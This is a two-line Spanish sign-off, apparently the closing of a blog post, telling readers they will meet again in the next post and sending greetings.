Nos vemos en el próximo post,
Saludos!